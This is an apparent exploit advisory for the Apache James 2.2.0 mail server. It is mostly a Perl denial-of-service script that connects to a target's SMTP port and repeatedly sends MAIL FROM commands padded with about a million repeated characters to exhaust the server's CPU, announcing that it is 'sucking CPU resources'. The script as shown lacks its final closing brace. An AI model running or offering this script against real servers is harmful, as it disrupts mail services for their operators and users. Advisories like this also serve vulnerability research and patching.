version     : 2.2.0
URL         : http://jakarta.apache.org/avalon/phoenix
Description :

The Java Apache Mail Enterprise Server (a.k.a. Apache James) is 
a 100% pure Java SMTP and POP3 Mail server and NNTP News server. 
James also designed to be a complete and portable enterprise mail 
engine solution based on currently available open protocols.

James SMTP servers are allowing attacker to supply a long variable at 
SMTP argument (such as MAIL) to the SMTP server, because of this 
vulnerability the Processor at server machine will have a workload till 100%


Exploit Code:
~~~~~~~~~~~~~

-------------------------- james.pl-----------------------------------------

#!/usr/bin/perl -w

use IO::Socket;
                                                 
print "* DOS buat JAMES ver.2.2.0 by y3dips *\n";

if(@ARGV == 1)

{
      
      my $host = $ARGV[0];
      my $i = 1;
      
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>"25", Reuse=>1) 
or die " Cannot Connect to Server !";

while ( $i++ ) {
print $socket "MAIL FROM:" . "fvclz" x 1000000 . "\r\n" and 
print " -- sucking CPU resources at $host .....\n";
sleep(1);
}
  close $socket;
